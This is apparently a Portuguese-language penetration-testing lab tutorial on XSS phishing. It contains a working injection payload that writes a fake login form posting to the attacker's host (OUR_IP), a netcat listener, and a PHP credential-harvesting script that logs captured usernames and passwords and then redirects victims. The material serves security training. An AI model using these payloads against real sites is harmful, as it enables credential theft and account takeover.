Phishing
Outro tipo muito comum de ataque XSS é o ataque de phishing. Os ataques de phishing geralmente utilizam informações aparentemente legítimas para induzir as vítimas a enviar suas informações confidenciais ao invasor. Uma forma comum de ataques de phishing XSS é através da injeção de formulários de login falsos que enviam os detalhes de login ao servidor do invasor, que podem então ser usados para fazer login em nome da vítima e obter controle sobre sua conta e informações confidenciais.
XSS Discovery
http://SERVER_IP/phishing/index.php?url=<script>alert(window.origin)</script>

Para entender qual carga útil deve funcionar, tente visualizar como sua entrada é exibida no código-fonte HTML depois de adicioná-la.

Login Form Injection
Depois de identificarmos uma carga XSS funcional, podemos prosseguir para o ataque de phishing. Para realizar um ataque de phishing XSS, devemos injetar um código HTML que exiba um formulário de login na página de destino. Este formulário deve enviar as informações de login para um servidor que estamos escutando, de forma que, assim que um usuário tentar fazer login, obteremos suas credenciais.
<h3>Please login to continue</h3>
<form action=http://OUR_IP>
<input type="username" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" name="submit" value="Login">
</form>
Posteriormente estaremos escutando o IP para recuperar as credenciais enviadas do formulário. O formulário de login deve ficar assim:
<div>
<h3>Please login to continue</h3>
<input type="text" placeholder="Username">
<input type="text" placeholder="Password">
<input type="submit" value="Login">
<br><br>
</div>
A seguir, devemos preparar nosso código XSS e testá-lo no formulário vulnerável. Para escrever código HTML na página vulnerável, podemos usar a função JavaScript document.write()
e usá-la na carga útil XSS que encontramos anteriormente na etapa de descoberta de XSS. Depois de reduzirmos nosso código HTML em uma única linha e adicioná-lo dentro da write
função, o código JavaScript final deverá ser o seguinte:
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');
Agora podemos injetar esse código JavaScript usando nossa carga XSS (ou seja, em vez de executar o alert(window.origin)
código JavaScript).
http://SERVER_IP/phishing/index.php?url=...SNIP...

Também vemos que ainda resta um pedaço do código HTML original após nosso formulário de login injetado. Isso pode ser removido simplesmente comentando, adicionando um comentário de abertura HTML após nossa carga XSS:
...PAYLOAD... <!--
Credential Stealing
Então, vamos iniciar um netcat
servidor simples e ver que tipo de solicitação recebemos quando alguém tenta fazer login através do formulário. Para isso, podemos começar a escutar na porta 80 do nosso Pwnbox, da seguinte forma:
sudo nc -lvnp 80
O seguinte script PHP deve fazer o que precisamos, e vamos gravá-lo em um arquivo em nossa VM que chamaremos index.php
e colocaremos em /tmp/tmpserver/
( don't forget to replace SERVER_IP with the ip from our exercise
):
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$file = fopen("creds.txt", "a+");
fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
header("Location: http://SERVER_IP/phishing/index.php");
fclose($file);
exit();
}
?>
Agora que temos nosso index.php
arquivo pronto, podemos iniciar um PHP
servidor de escuta, que podemos usar no lugar do netcat
ouvinte básico que usamos anteriormente:
mkdir /tmp/tmpserver
cd /tmp/tmpserver
vi index.php #at this step we wrote our index.php file
sudo php -S 0.0.0.0:80
PHP 7.4.15 Development Server (http://0.0.0.0:80) started
Vamos tentar fazer login no formulário de login injetado e ver o que obtemos. Vemos que somos redirecionados para a página original do Image Viewer:

$ cat creds.txt
Username: test | Password: test
Last updated